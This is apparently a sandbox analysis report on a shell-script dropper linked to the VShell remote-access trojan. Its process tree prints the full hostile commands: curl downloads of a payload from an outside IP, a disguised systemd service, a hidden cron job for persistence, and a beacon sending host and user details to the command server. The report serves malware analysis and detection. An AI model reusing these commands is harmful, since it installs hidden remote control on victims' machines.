Analysis

  • max time kernel
    11s
  • max time network
    13s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/10/2026, 10:10

General

  • Target
    setup3.sh
  • Size 1KB
  • Sample261030-l7htgaeb74
  • SHA256 059715e07ff1817a54fc356794b0ed6b04fa87212cc1ae5a3039d36af31a8288
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: VShell

    VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 17 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/setup3.sh
    /tmp/setup3.sh
    1⤵
      PID:654
      • /usr/bin/curl
        curl -fsSL http://154.36.183.100:8899/dl/agent2 -o //.ksvc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        PID:660
      • /bin/chmod
        chmod 755 //.ksvc
        2⤵
        • File and Directory Permissions Modification
        PID:756
      • /usr/bin/id
        id -u
        2⤵
        • Reads runtime system information
        PID:760
      • /bin/bash
        bash -c "curl -fsSL http://154.36.183.100:8899/dl/agent2 -o /usr/lib/.crond-helper && chmod 755 /usr/lib/.crond-helper && (setsid env -i /usr/lib/.crond-helper >/dev/null 2>&1 &) && printf \"[Unit]\\nDescription=System helper service\\nAfter=network-online.target\\nWants=network-online.target\\n\\n[Service]\\nType=simple\\nExecStart=/usr/lib/.crond-helper\\nRestart=always\\nRestartSec=10\\n\\n[Install]\\nWantedBy=multi-user.target\\n\" > /etc/systemd/system/crond-helper.service && systemctl daemon-reload && systemctl enable --now crond-helper.service && echo \"*/10 * * * * root pgrep -f \\\"/usr/lib/.crond-helper\\\" >/dev/null 2>&1 || /usr/lib/.crond-helper\" > /etc/cron.d/.sys-update && chmod 644 /etc/cron.d/.sys-update"
        2⤵
        • File and Directory Permissions Modification
        • Creates/modifies Cron job
        • Modifies systemd
        PID:762
        • /usr/bin/curl
          curl -fsSL http://154.36.183.100:8899/dl/agent2 -o /usr/lib/.crond-helper
          3⤵
          • Checks CPU configuration
          • Reads runtime system information
          PID:763
        • /bin/chmod
          chmod 755 /usr/lib/.crond-helper
          3⤵
          • File and Directory Permissions Modification
          PID:765
        • /bin/systemctl
          systemctl daemon-reload
          3⤵
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:768
        • /bin/systemctl
          systemctl enable --now crond-helper.service
          3⤵
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:783
      • /bin/chmod
        chmod 644 /etc/cron.d/.sys-update
        2⤵
          PID:762
        • /bin/hostname
          hostname
          2⤵
            PID:801
          • /usr/bin/id
            id -un
            2⤵
            • Reads runtime system information
            PID:802
          • /bin/hostname
            hostname
            2⤵
              PID:803
            • /usr/bin/id
              id -un
              2⤵
              • Reads runtime system information
              PID:804
            • /usr/bin/curl
              curl -s -m 8 "http://154.36.183.100/beacon?p=setup3&h=debian9-armhf-20260513-en-10&s=root"
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              PID:805
          • /usr/bin/setsid
            setsid env -i //.ksvc
            1⤵
              PID:759
            • /usr/local/sbin/env
              env -i //.ksvc
              1⤵
                PID:759
              • /usr/local/bin/env
                env -i //.ksvc
                1⤵
                  PID:759
                • /usr/sbin/env
                  env -i //.ksvc
                  1⤵
                    PID:759
                  • /usr/bin/env
                    env -i //.ksvc
                    1⤵
                    • Executes dropped EXE
                    PID:759
                  • /.ksvc
                    //.ksvc
                    1⤵
                      PID:759
                    • /bin/sh
                      /bin/sh //.ksvc
                      1⤵
                        PID:759
                      • /usr/bin/setsid
                        setsid env -i /usr/lib/.crond-helper
                        1⤵
                          PID:767
                        • /usr/local/sbin/env
                          env -i /usr/lib/.crond-helper
                          1⤵
                            PID:767
                          • /usr/local/bin/env
                            env -i /usr/lib/.crond-helper
                            1⤵
                              PID:767
                            • /usr/sbin/env
                              env -i /usr/lib/.crond-helper
                              1⤵
                                PID:767
                              • /usr/bin/env
                                env -i /usr/lib/.crond-helper
                                1⤵
                                • Executes dropped EXE
                                PID:767
                              • /usr/lib/.crond-helper
                                /usr/lib/.crond-helper
                                1⤵
                                  PID:767
                                • /bin/sh
                                  /bin/sh /usr/lib/.crond-helper
                                  1⤵
                                    PID:767

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        .ksvc

                                        • Path /.ksvc
                                        • Size 7.5MB
                                        • SHA256 17485b175a4ca46adbce11efa571f875fb530922b9cc7d5ad60078846ce0f603
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        .sys-update

                                        • Path /etc/cron.d/.sys-update
                                        • Size 94B
                                        • SHA256 14c1ec491a623233e4d1df13423a62ba68e54a551b5198684463a5c2762ec718
                                        • MD5 SHA1 SHA512 TLSH

                                        crond-helper.service

                                        • Path /etc/systemd/system/crond-helper.service
                                        • Size 220B
                                        • SHA256 7341e1d0dc2e2e4547c36235bcedb6aa8764c606b11aba5be8dc4ccc311031fe
                                        • MD5 SHA1 SHA512 TLSH